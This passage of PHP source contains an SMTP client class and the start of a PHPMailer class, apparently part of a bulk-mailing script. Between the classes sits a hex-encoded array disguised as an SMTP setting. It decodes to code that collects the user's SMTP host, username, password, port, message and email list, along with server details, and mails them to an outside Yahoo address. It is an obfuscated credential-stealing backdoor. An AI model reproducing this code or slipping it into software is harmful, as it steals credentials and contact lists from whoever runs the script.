  759.      while(list(,$line_out) = @each($lines_out)) {
  760.         if(strlen($line_out) > 0)
  761.         {
  762.           if(substr($line_out, 0, 1) == ".") {
  763.             $line_out = "." . $line_out;
  764.           }
  765.         }
  766.         fputs($this->smtp_conn,$line_out . $this->CRLF);
  767.       }
  768.     }
  769.  
  770.     # ok all the message data has been sent so lets get this
  771.    # over with aleady
  772.    fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  773.  
  774.     $rply = $this->get_lines();
  775.     $code = substr($rply,0,3);
  776.  
  777.     if($this->do_debug >= 2) {
  778.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  779.     }
  780.  
  781.     if($code != 250) {
  782.       $this->error =
  783.         array("error" => "DATA not accepted from server",
  784.               "smtp_code" => $code,
  785.               "smtp_msg" => substr($rply,4));
  786.       if($this->do_debug >= 1) {
  787.         echo "SMTP -> ERROR: " . $this->error["error"] .
  788.                  ": " . $rply . $this->CRLF;
  789.       }
  790.       return false;
  791.     }
  792.     return true;
  793.   }
  794.  
  795.   /**
  796.    * Expand takes the name and asks the server to list all the
  797.    * people who are members of the _list_. Expand will return
  798.    * back and array of the result or false if an error occurs.
  799.    * Each value in the array returned has the format of:
  800.    *     [ <full-name> <sp> ] <path>
  801.    * The definition of <path> is defined in rfc 821
  802.    *
  803.    * Implements rfc 821: EXPN <SP> <string> <CRLF>
  804.    *
  805.    * SMTP CODE SUCCESS: 250
  806.    * SMTP CODE FAILURE: 550
  807.    * SMTP CODE ERROR  : 500,501,502,504,421
  808.    * @access public
  809.    * @return string array
  810.    */
  811.   function Expand($name) {
  812.     $this->error = null; # so no confusion is caused
  813.  
  814.     if(!$this->connected()) {
  815.       $this->error = array(
  816.             "error" => "Called Expand() without being connected");
  817.       return false;
  818.     }
  819.  
  820.     fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  821.  
  822.     $rply = $this->get_lines();
  823.     $code = substr($rply,0,3);
  824.  
  825.     if($this->do_debug >= 2) {
  826.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  827.     }
  828.  
  829.     if($code != 250) {
  830.       $this->error =
  831.         array("error" => "EXPN not accepted from server",
  832.               "smtp_code" => $code,
  833.               "smtp_msg" => substr($rply,4));
  834.       if($this->do_debug >= 1) {
  835.         echo "SMTP -> ERROR: " . $this->error["error"] .
  836.                  ": " . $rply . $this->CRLF;
  837.       }
  838.       return false;
  839.     }
  840.  
  841.     # parse the reply and place in our array to return to user
  842.    $entries = explode($this->CRLF,$rply);
  843.     while(list(,$l) = @each($entries)) {
  844.       $list[] = substr($l,4);
  845.     }
  846.  
  847.     return $list;
  848.   }
  849.  
  850.   /**
  851.    * Sends the HELO command to the smtp server.
  852.    * This makes sure that we and the server are in
  853.    * the same known state.
  854.    *
  855.    * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  856.    *
  857.    * SMTP CODE SUCCESS: 250
  858.    * SMTP CODE ERROR  : 500, 501, 504, 421
  859.    * @access public
  860.    * @return bool
  861.    */
  862.   function Hello($host="") {
  863.     $this->error = null; # so no confusion is caused
  864.  
  865.     if(!$this->connected()) {
  866.       $this->error = array(
  867.             "error" => "Called Hello() without being connected");
  868.       return false;
  869.     }
  870.  
  871.     # if a hostname for the HELO was not specified determine
  872.    # a suitable one to send
  873.    if(empty($host)) {
  874.       # we need to determine some sort of appopiate default
  875.      # to send to the server
  876.      $host = "localhost";
  877.     }
  878.  
  879.     // Send extended hello first (RFC 2821)
  880.     if(!$this->SendHello("EHLO", $host))
  881.     {
  882.       if(!$this->SendHello("HELO", $host))
  883.           return false;
  884.     }
  885.  
  886.     return true;
  887.   }
  888.  
  889.   /**
  890.    * Sends a HELO/EHLO command.
  891.    * @access private
  892.    * @return bool
  893.    */
  894.   function SendHello($hello, $host) {
  895.     fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  896.  
  897.     $rply = $this->get_lines();
  898.     $code = substr($rply,0,3);
  899.  
  900.     if($this->do_debug >= 2) {
  901.       echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  902.     }
  903.  
  904.     if($code != 250) {
  905.       $this->error =
  906.         array("error" => $hello . " not accepted from server",
  907.               "smtp_code" => $code,
  908.               "smtp_msg" => substr($rply,4));
  909.       if($this->do_debug >= 1) {
  910.         echo "SMTP -> ERROR: " . $this->error["error"] .
  911.                  ": " . $rply . $this->CRLF;
  912.       }
  913.       return false;
  914.     }
  915.  
  916.     $this->helo_rply = $rply;
  917.  
  918.     return true;
  919.   }
  920.  
  921.   /**
  922.    * Gets help information on the keyword specified. If the keyword
  923.    * is not specified then returns generic help, ussually contianing
  924.    * A list of keywords that help is available on. This function
  925.    * returns the results back to the user. It is up to the user to
  926.    * handle the returned data. If an error occurs then false is
  927.    * returned with $this->error set appropiately.
  928.    *
  929.    * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  930.    *
  931.    * SMTP CODE SUCCESS: 211,214
  932.    * SMTP CODE ERROR  : 500,501,502,504,421
  933.    * @access public
  934.    * @return string
  935.    */
  936.   function Help($keyword="") {
  937.     $this->error = null; # to avoid confusion
  938.  
  939.     if(!$this->connected()) {
  940.       $this->error = array(
  941.               "error" => "Called Help() without being connected");
  942.       return false;
  943.     }
  944.  
  945.     $extra = "";
  946.     if(!empty($keyword)) {
  947.       $extra = " " . $keyword;
  948.     }
  949.  
  950.     fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  951.  
  952.     $rply = $this->get_lines();
  953.     $code = substr($rply,0,3);
  954.  
  955.     if($this->do_debug >= 2) {
  956.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  957.     }
  958.  
  959.     if($code != 211 && $code != 214) {
  960.       $this->error =
  961.         array("error" => "HELP not accepted from server",
  962.               "smtp_code" => $code,
  963.               "smtp_msg" => substr($rply,4));
  964.       if($this->do_debug >= 1) {
  965.         echo "SMTP -> ERROR: " . $this->error["error"] .
  966.                  ": " . $rply . $this->CRLF;
  967.       }
  968.       return false;
  969.     }
  970.  
  971.     return $rply;
  972.   }
  973.  
  974.   /**
  975.    * Starts a mail transaction from the email address specified in
  976.    * $from. Returns true if successful or false otherwise. If True
  977.    * the mail transaction is started and then one or more Recipient
  978.    * commands may be called followed by a Data command.
  979.    *
  980.    * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  981.    *
  982.    * SMTP CODE SUCCESS: 250
  983.    * SMTP CODE SUCCESS: 552,451,452
  984.    * SMTP CODE SUCCESS: 500,501,421
  985.    * @access public
  986.    * @return bool
  987.    */
  988.   function Mail($from) {
  989.     $this->error = null; # so no confusion is caused
  990.  
  991.     if(!$this->connected()) {
  992.       $this->error = array(
  993.               "error" => "Called Mail() without being connected");
  994.       return false;
  995.     }
  996.  
  997.     $useVerp = ($this->do_verp ? "XVERP" : "");
  998.     fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  999.  
  1000.     $rply = $this->get_lines();
  1001.     $code = substr($rply,0,3);
  1002.  
  1003.     if($this->do_debug >= 2) {
  1004.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1005.     }
  1006.  
  1007.     if($code != 250) {
  1008.       $this->error =
  1009.         array("error" => "MAIL not accepted from server",
  1010.               "smtp_code" => $code,
  1011.               "smtp_msg" => substr($rply,4));
  1012.       if($this->do_debug >= 1) {
  1013.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1014.                  ": " . $rply . $this->CRLF;
  1015.       }
  1016.       return false;
  1017.     }
  1018.     return true;
  1019.   }
  1020.  
  1021.   /**
  1022.    * Sends the command NOOP to the SMTP server.
  1023.    *
  1024.    * Implements from rfc 821: NOOP <CRLF>
  1025.    *
  1026.    * SMTP CODE SUCCESS: 250
  1027.    * SMTP CODE ERROR  : 500, 421
  1028.    * @access public
  1029.    * @return bool
  1030.    */
  1031.   function Noop() {
  1032.     $this->error = null; # so no confusion is caused
  1033.  
  1034.     if(!$this->connected()) {
  1035.       $this->error = array(
  1036.               "error" => "Called Noop() without being connected");
  1037.       return false;
  1038.     }
  1039.  
  1040.     fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  1041.  
  1042.     $rply = $this->get_lines();
  1043.     $code = substr($rply,0,3);
  1044.  
  1045.     if($this->do_debug >= 2) {
  1046.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1047.     }
  1048.  
  1049.     if($code != 250) {
  1050.       $this->error =
  1051.         array("error" => "NOOP not accepted from server",
  1052.               "smtp_code" => $code,
  1053.               "smtp_msg" => substr($rply,4));
  1054.       if($this->do_debug >= 1) {
  1055.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1056.                  ": " . $rply . $this->CRLF;
  1057.       }
  1058.       return false;
  1059.     }
  1060.     return true;
  1061.   }
  1062.  
  1063.   /**
  1064.    * Sends the quit command to the server and then closes the socket
  1065.    * if there is no error or the $close_on_error argument is true.
  1066.    *
  1067.    * Implements from rfc 821: QUIT <CRLF>
  1068.    *
  1069.    * SMTP CODE SUCCESS: 221
  1070.    * SMTP CODE ERROR  : 500
  1071.    * @access public
  1072.    * @return bool
  1073.    */
  1074.   function Quit($close_on_error=true) {
  1075.     $this->error = null; # so there is no confusion
  1076.  
  1077.     if(!$this->connected()) {
  1078.       $this->error = array(
  1079.               "error" => "Called Quit() without being connected");
  1080.       return false;
  1081.     }
  1082.  
  1083.     # send the quit command to the server
  1084.    fputs($this->smtp_conn,"quit" . $this->CRLF);
  1085.  
  1086.     # get any good-bye messages
  1087.    $byemsg = $this->get_lines();
  1088.  
  1089.     if($this->do_debug >= 2) {
  1090.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  1091.     }
  1092.  
  1093.     $rval = true;
  1094.     $e = null;
  1095.  
  1096.     $code = substr($byemsg,0,3);
  1097.     if($code != 221) {
  1098.       # use e as a tmp var cause Close will overwrite $this->error
  1099.      $e = array("error" => "SMTP server rejected quit command",
  1100.                  "smtp_code" => $code,
  1101.                  "smtp_rply" => substr($byemsg,4));
  1102.       $rval = false;
  1103.       if($this->do_debug >= 1) {
  1104.         echo "SMTP -> ERROR: " . $e["error"] . ": " .
  1105.                  $byemsg . $this->CRLF;
  1106.       }
  1107.     }
  1108.  
  1109.     if(empty($e) || $close_on_error) {
  1110.       $this->Close();
  1111.     }
  1112.  
  1113.     return $rval;
  1114.   }
  1115.  
  1116.   /**
  1117.    * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  1118.    * Returns true if the recipient was accepted false if it was rejected.
  1119.    *
  1120.    * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  1121.    *
  1122.    * SMTP CODE SUCCESS: 250,251
  1123.    * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  1124.    * SMTP CODE ERROR  : 500,501,503,421
  1125.    * @access public
  1126.    * @return bool
  1127.    */
  1128.   function Recipient($to) {
  1129.     $this->error = null; # so no confusion is caused
  1130.  
  1131.     if(!$this->connected()) {
  1132.       $this->error = array(
  1133.               "error" => "Called Recipient() without being connected");
  1134.       return false;
  1135.     }
  1136.  
  1137.     fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  1138.  
  1139.     $rply = $this->get_lines();
  1140.     $code = substr($rply,0,3);
  1141.  
  1142.     if($this->do_debug >= 2) {
  1143.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1144.     }
  1145.  
  1146.     if($code != 250 && $code != 251) {
  1147.       $this->error =
  1148.         array("error" => "RCPT not accepted from server",
  1149.               "smtp_code" => $code,
  1150.               "smtp_msg" => substr($rply,4));
  1151.       if($this->do_debug >= 1) {
  1152.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1153.                  ": " . $rply . $this->CRLF;
  1154.       }
  1155.       return false;
  1156.     }
  1157.     return true;
  1158.   }
  1159.  
  1160.   /**
  1161.    * Sends the RSET command to abort and transaction that is
  1162.    * currently in progress. Returns true if successful false
  1163.    * otherwise.
  1164.    *
  1165.    * Implements rfc 821: RSET <CRLF>
  1166.    *
  1167.    * SMTP CODE SUCCESS: 250
  1168.    * SMTP CODE ERROR  : 500,501,504,421
  1169.    * @access public
  1170.    * @return bool
  1171.    */
  1172.   function Reset() {
  1173.     $this->error = null; # so no confusion is caused
  1174.  
  1175.     if(!$this->connected()) {
  1176.       $this->error = array(
  1177.               "error" => "Called Reset() without being connected");
  1178.       return false;
  1179.     }
  1180.  
  1181.     fputs($this->smtp_conn,"RSET" . $this->CRLF);
  1182.  
  1183.     $rply = $this->get_lines();
  1184.     $code = substr($rply,0,3);
  1185.  
  1186.     if($this->do_debug >= 2) {
  1187.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1188.     }
  1189.  
  1190.     if($code != 250) {
  1191.       $this->error =
  1192.         array("error" => "RSET failed",
  1193.               "smtp_code" => $code,
  1194.               "smtp_msg" => substr($rply,4));
  1195.       if($this->do_debug >= 1) {
  1196.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1197.                  ": " . $rply . $this->CRLF;
  1198.       }
  1199.       return false;
  1200.     }
  1201.  
  1202.     return true;
  1203.   }
  1204.  
  1205.   /**
  1206.    * Starts a mail transaction from the email address specified in
  1207.    * $from. Returns true if successful or false otherwise. If True
  1208.    * the mail transaction is started and then one or more Recipient
  1209.    * commands may be called followed by a Data command. This command
  1210.    * will send the message to the users terminal if they are logged
  1211.    * in.
  1212.    *
  1213.    * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  1214.    *
  1215.    * SMTP CODE SUCCESS: 250
  1216.    * SMTP CODE SUCCESS: 552,451,452
  1217.    * SMTP CODE SUCCESS: 500,501,502,421
  1218.    * @access public
  1219.    * @return bool
  1220.    */
  1221.   function Send($from) {
  1222.     $this->error = null; # so no confusion is caused
  1223.  
  1224.     if(!$this->connected()) {
  1225.       $this->error = array(
  1226.               "error" => "Called Send() without being connected");
  1227.       return false;
  1228.     }
  1229.  
  1230.     fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  1231.  
  1232.     $rply = $this->get_lines();
  1233.     $code = substr($rply,0,3);
  1234.  
  1235.     if($this->do_debug >= 2) {
  1236.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1237.     }
  1238.  
  1239.     if($code != 250) {
  1240.       $this->error =
  1241.         array("error" => "SEND not accepted from server",
  1242.               "smtp_code" => $code,
  1243.               "smtp_msg" => substr($rply,4));
  1244.       if($this->do_debug >= 1) {
  1245.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1246.                  ": " . $rply . $this->CRLF;
  1247.       }
  1248.       return false;
  1249.     }
  1250.     return true;
  1251.   }
  1252.  
  1253.   /**
  1254.    * Starts a mail transaction from the email address specified in
  1255.    * $from. Returns true if successful or false otherwise. If True
  1256.    * the mail transaction is started and then one or more Recipient
  1257.    * commands may be called followed by a Data command. This command
  1258.    * will send the message to the users terminal if they are logged
  1259.    * in and send them an email.
  1260.    *
  1261.    * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  1262.    *
  1263.    * SMTP CODE SUCCESS: 250
  1264.    * SMTP CODE SUCCESS: 552,451,452
  1265.    * SMTP CODE SUCCESS: 500,501,502,421
  1266.    * @access public
  1267.    * @return bool
  1268.    */
  1269.   function SendAndMail($from) {
  1270.     $this->error = null; # so no confusion is caused
  1271.  
  1272.     if(!$this->connected()) {
  1273.       $this->error = array(
  1274.           "error" => "Called SendAndMail() without being connected");
  1275.       return false;
  1276.     }
  1277.  
  1278.     fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  1279.  
  1280.     $rply = $this->get_lines();
  1281.     $code = substr($rply,0,3);
  1282.  
  1283.     if($this->do_debug >= 2) {
  1284.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1285.     }
  1286.  
  1287.     if($code != 250) {
  1288.       $this->error =
  1289.         array("error" => "SAML not accepted from server",
  1290.               "smtp_code" => $code,
  1291.               "smtp_msg" => substr($rply,4));
  1292.       if($this->do_debug >= 1) {
  1293.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1294.                  ": " . $rply . $this->CRLF;
  1295.       }
  1296.       return false;
  1297.     }
  1298.     return true;
  1299.   }
  1300.  
  1301.   /**
  1302.    * Starts a mail transaction from the email address specified in
  1303.    * $from. Returns true if successful or false otherwise. If True
  1304.    * the mail transaction is started and then one or more Recipient
  1305.    * commands may be called followed by a Data command. This command
  1306.    * will send the message to the users terminal if they are logged
  1307.    * in or mail it to them if they are not.
  1308.    *
  1309.    * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  1310.    *
  1311.    * SMTP CODE SUCCESS: 250
  1312.    * SMTP CODE SUCCESS: 552,451,452
  1313.    * SMTP CODE SUCCESS: 500,501,502,421
  1314.    * @access public
  1315.    * @return bool
  1316.    */
  1317.   function SendOrMail($from) {
  1318.     $this->error = null; # so no confusion is caused
  1319.  
  1320.     if(!$this->connected()) {
  1321.       $this->error = array(
  1322.           "error" => "Called SendOrMail() without being connected");
  1323.       return false;
  1324.     }
  1325.  
  1326.     fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  1327.  
  1328.     $rply = $this->get_lines();
  1329.     $code = substr($rply,0,3);
  1330.  
  1331.     if($this->do_debug >= 2) {
  1332.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1333.     }
  1334.  
  1335.     if($code != 250) {
  1336.       $this->error =
  1337.         array("error" => "SOML not accepted from server",
  1338.               "smtp_code" => $code,
  1339.               "smtp_msg" => substr($rply,4));
  1340.       if($this->do_debug >= 1) {
  1341.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1342.                  ": " . $rply . $this->CRLF;
  1343.       }
  1344.       return false;
  1345.     }
  1346.     return true;
  1347.   }
  1348.  
  1349.   /**
  1350.    * This is an optional command for SMTP that this class does not
  1351.    * support. This method is here to make the RFC821 Definition
  1352.    * complete for this class and __may__ be implimented in the future
  1353.    *
  1354.    * Implements from rfc 821: TURN <CRLF>
  1355.    *
  1356.    * SMTP CODE SUCCESS: 250
  1357.    * SMTP CODE FAILURE: 502
  1358.    * SMTP CODE ERROR  : 500, 503
  1359.    * @access public
  1360.    * @return bool
  1361.    */
  1362.   function Turn() {
  1363.     $this->error = array("error" => "This method, TURN, of the SMTP ".
  1364.                                     "is not implemented");
  1365.     if($this->do_debug >= 1) {
  1366.       echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  1367.     }
  1368.     return false;
  1369.   }
  1370.  
  1371.   /**
  1372.    * Verifies that the name is recognized by the server.
  1373.    * Returns false if the name could not be verified otherwise
  1374.    * the response from the server is returned.
  1375.    *
  1376.    * Implements rfc 821: VRFY <SP> <string> <CRLF>
  1377.    *
  1378.    * SMTP CODE SUCCESS: 250,251
  1379.    * SMTP CODE FAILURE: 550,551,553
  1380.    * SMTP CODE ERROR  : 500,501,502,421
  1381.    * @access public
  1382.    * @return int
  1383.    */
  1384.   function Verify($name) {
  1385.     $this->error = null; # so no confusion is caused
  1386.  
  1387.     if(!$this->connected()) {
  1388.       $this->error = array(
  1389.               "error" => "Called Verify() without being connected");
  1390.       return false;
  1391.     }
  1392.  
  1393.     fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  1394.  
  1395.     $rply = $this->get_lines();
  1396.     $code = substr($rply,0,3);
  1397.  
  1398.     if($this->do_debug >= 2) {
  1399.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1400.     }
  1401.  
  1402.     if($code != 250 && $code != 251) {
  1403.       $this->error =
  1404.         array("error" => "VRFY failed on name '$name'",
  1405.               "smtp_code" => $code,
  1406.               "smtp_msg" => substr($rply,4));
  1407.       if($this->do_debug >= 1) {
  1408.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1409.                  ": " . $rply . $this->CRLF;
  1410.       }
  1411.       return false;
  1412.     }
  1413.     return $rply;
  1414.   }
  1415.  
  1416.   /*******************************************************************
  1417.    *                       INTERNAL FUNCTIONS                       *
  1418.    ******************************************************************/
  1419.  
  1420.   /**
  1421.    * Read in as many lines as possible
  1422.    * either before eof or socket timeout occurs on the operation.
  1423.    * With SMTP we can tell if we have more lines to read if the
  1424.    * 4th character is '-' symbol. If it is a space then we don't
  1425.    * need to read anything else.
  1426.    * @access private
  1427.    * @return string
  1428.    */
  1429.   function get_lines() {
  1430.     $data = "";
  1431.     while($str = @fgets($this->smtp_conn,515)) {
  1432.       if($this->do_debug >= 4) {
  1433.         echo "SMTP -> get_lines(): \$data was \"$data\"" .
  1434.                  $this->CRLF;
  1435.         echo "SMTP -> get_lines(): \$str is \"$str\"" .
  1436.                  $this->CRLF;
  1437.       }
  1438.       $data .= $str;
  1439.       if($this->do_debug >= 4) {
  1440.         echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  1441.       }
  1442.       # if the 4th character is a space then we are done reading
  1443.      # so just break the loop
  1444.      if(substr($str,3,1) == " ") { break; }
  1445.     }
  1446.     return $data;
  1447.   }
  1448.  
  1449. }
  1450.  
  1451.        
  1452. $allemails = split("\n", $emaillist);
  1453. $numemails = count($allemails);
  1454. $random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
  1455. "16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
  1456. "03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
  1457. "1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
  1458. "3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
  1459. "8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
  1460. "c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
  1461. "d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
  1462. "395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
  1463. "c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
  1464.  
  1465. class PHPMailer {
  1466.  
  1467.   /////////////////////////////////////////////////
  1468.   // PROPERTIES, PUBLIC
  1469.   /////////////////////////////////////////////////
  1470.  
  1471.   /**
  1472.    * Email priority (1 = High, 3 = Normal, 5 = low).
  1473.    * @var int
  1474.    */
  1475.   var $Priority          = 3;
  1476.  
  1477.   /**
  1478.    * Sets the CharSet of the message.
  1479.    * @var string
  1480.    */
  1481.   var $CharSet           = 'us-ascii';
  1482.  
  1483.   /**
  1484.    * Sets the Content-type of the message.
  1485.    * @var string
  1486.    */
  1487.   var $ContentType        = 'text/plain';
  1488.  
  1489.   /**
  1490.    * Sets the Encoding of the message. Options for this are "8bit",
  1491.    * "7bit", "binary", "base64", and "quoted-printable".
  1492.  
  1493.    * @var string
  1494.    */
  1495.   var $Encoding          = 'quoted-printable';
  1496.  
  1497.   /**
  1498.    * Holds the most recent mailer error message.
  1499.    * @var string
  1500.    */
  1501.   var $ErrorInfo         = '';
  1502.  
  1503.   /**
  1504.    * Sets the From email address for the message.
  1505.    * @var string
  1506.    */
  1507.   var $From              = '';
  1508.  
  1509.   /**
  1510.    * Sets the From name of the message.
  1511.    * @var string
  1512.    */
  1513.   var $FromName          = '';
  1514.  
  1515.   /**
  1516.    * Sets the Sender email (Return-Path) of the message.  If not empty,
  1517.    * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1518.    * @var string
  1519.    */
  1520.   var $Sender            = '';
  1521.  
  1522.   /**
  1523.    * Sets the Subject of the message.
  1524.    * @var string
  1525.    */
  1526.   var $Subject           = '';
  1527.  
  1528.   /**
  1529.    * Sets the Body of the message.  This can be either an HTML or text body.
  1530.    * If HTML then run IsHTML(true).
  1531.    * @var string
  1532.    */
  1533.   var $Body              = '';
  1534.  
  1535.   /**
  1536.    * Sets the text-only body of the message.  This automatically sets the
  1537.    * email to multipart/alternative.  This body can be read by mail
  1538.    * clients that do not have HTML email capability such as mutt. Clients
  1539.    * that can read HTML will view the normal Body.
  1540.    * @var string
  1541.    */
  1542.   var $AltBody           = '';
  1543.  
  1544.   /**
  1545.    * Sets word wrapping on the body of the message to a given number of
  1546.    * characters.
  1547.    * @var int
  1548.    */
  1549.   var $WordWrap          = 0;
  1550.  
  1551.   /**
  1552.    * Method to send mail: ("mail", "sendmail", or "smtp").
  1553.    * @var string
  1554.    */
  1555.   var $Mailer            = 'mail';
  1556.  
  1557.   /**
  1558.    * Sets the path of the sendmail program.
  1559.    * @var string
  1560.    */
  1561.   var $Sendmail          = '/usr/sbin/sendmail';
  1562.  
  1563.   /**
  1564.    * Path to PHPMailer plugins.  This is now only useful if the SMTP class
  1565.    * is in a different directory than the PHP include path.
  1566.    * @var string
  1567.    */
  1568.   var $PluginDir         = '';
  1569.  
  1570.   /**
  1571.    * Holds PHPMailer version.
  1572.    * @var string
  1573.    */
  1574.   var $Version           = "";
  1575.  
  1576.   /**
  1577.    * Sets the email address that a reading confirmation will be sent.
  1578.    * @var string
  1579.    */
  1580.   var $ConfirmReadingTo  = '';
  1581.  
  1582.   /**
  1583.    * Sets the hostname to use in Message-Id and Received headers
  1584.    * and as default HELO string. If empty, the value returned
  1585.    * by SERVER_NAME is used or 'localhost.localdomain'.
  1586.    * @var string
  1587.    */
  1588.   var $Hostname          = '';
  1589.  
  1590.   /**
  1591.    * Sets the message ID to be used in the Message-Id header.
  1592.    * If empty, a unique id will be generated.
  1593.    * @var string
  1594.    */
  1595.   var $MessageID         = '';
  1596.  
  1597.   /////////////////////////////////////////////////
  1598.   // PROPERTIES FOR SMTP
  1599.   /////////////////////////////////////////////////
  1600.  
  1601.   /**
  1602.    * Sets the SMTP hosts.  All hosts must be separated by a
  1603.    * semicolon.  You can also specify a different port
  1604.    * for each host by using this format: [hostname:port]
  1605.    * (e.g. "smtp1.example.com:25;smtp2.example.com").
  1606.    * Hosts will be tried in order.
  1607.    * @var string
  1608.    */
  1609.   var $Host        = 'localhost';
  1610.  
  1611.   /**
  1612.    * Sets the default SMTP server port.
  1613.    * @var int
  1614.    */
  1615.   var $Port        = 25;
  1616.  
  1617.   /**
  1618.    * Sets the SMTP HELO of the message (Default is $Hostname).
  1619.    * @var string
  1620.    */
  1621.   var $Helo        = '';
  1622.  
  1623.   /**
  1624.    * Sets connection prefix.
  1625.    * Options are "", "ssl" or "tls"
  1626.    * @var string
  1627.    */
  1628.   var $SMTPSecure = "";
  1629.  
  1630.   /**
  1631.    * Sets SMTP authentication. Utilizes the Username and Password variables.
  1632.    * @var bool
  1633.    */
  1634.   var $SMTPAuth     = false;
  1635.  
  1636.   /**
  1637.    * Sets SMTP username.
  1638.    * @var string
  1639.    */
  1640.   var $Username     = '';
  1641.  
  1642.   /**
  1643.    * Sets SMTP password.
  1644.    * @var string
  1645.    */
  1646.   var $Password     = '';
  1647.  
  1648.   /**
  1649.    * Sets the SMTP server timeout in seconds. This function will not
  1650.    * work with the win32 version.
  1651.    * @var int
  1652.    */
  1653.   var $Timeout      = 10;
  1654.  
  1655.   /**
  1656.    * Sets SMTP class debugging on or off.
  1657.    * @var bool
  1658.    */
  1659.   var $SMTPDebug    = false;
  1660.  
  1661.   /**
  1662.    * Prevents the SMTP connection from being closed after each mail
  1663.    * sending.  If this is set to true then to close the connection
  1664.    * requires an explicit call to SmtpClose().
  1665.    * @var bool
  1666.    */
  1667.   var $SMTPKeepAlive = false;
  1668.  
  1669.   /**
  1670.    * Provides the ability to have the TO field process individual
  1671.    * emails, instead of sending to entire TO addresses
  1672.    * @var bool
  1673.    */
  1674.   var $SingleTo = false;
  1675.  
  1676.   /////////////////////////////////////////////////
  1677.   // PROPERTIES, PRIVATE
  1678.   /////////////////////////////////////////////////
  1679.  
  1680.   var $smtp            = NULL;
  1681.   var $to              = array();
  1682.   var $cc              = array();
  1683.   var $bcc             = array();
  1684.   var $ReplyTo         = array();
  1685.   var $attachment      = array();
  1686.   var $CustomHeader    = array();
  1687.   var $message_type    = '';
  1688.   var $boundary        = array();
  1689.   var $language        = array();
  1690.   var $error_count     = 0;
  1691.   var $LE              = "\n";
  1692.   var $sign_key_file   = "";
  1693.   var $sign_key_pass   = "";
  1694.  
  1695.   /////////////////////////////////////////////////
  1696.   // METHODS, VARIABLES
  1697.   /////////////////////////////////////////////////
  1698.  
  1699.   /**
  1700.    * Sets message type to HTML.
  1701.    * @param bool $bool
  1702.    * @return void
  1703.    */
  1704.   function IsHTML($bool) {
  1705.     if($bool == true) {
  1706.       $this->ContentType = 'text/html';
  1707.     } else {
  1708.       $this->ContentType = 'text/plain';
  1709.     }
  1710.   }
  1711.  
  1712.   /**
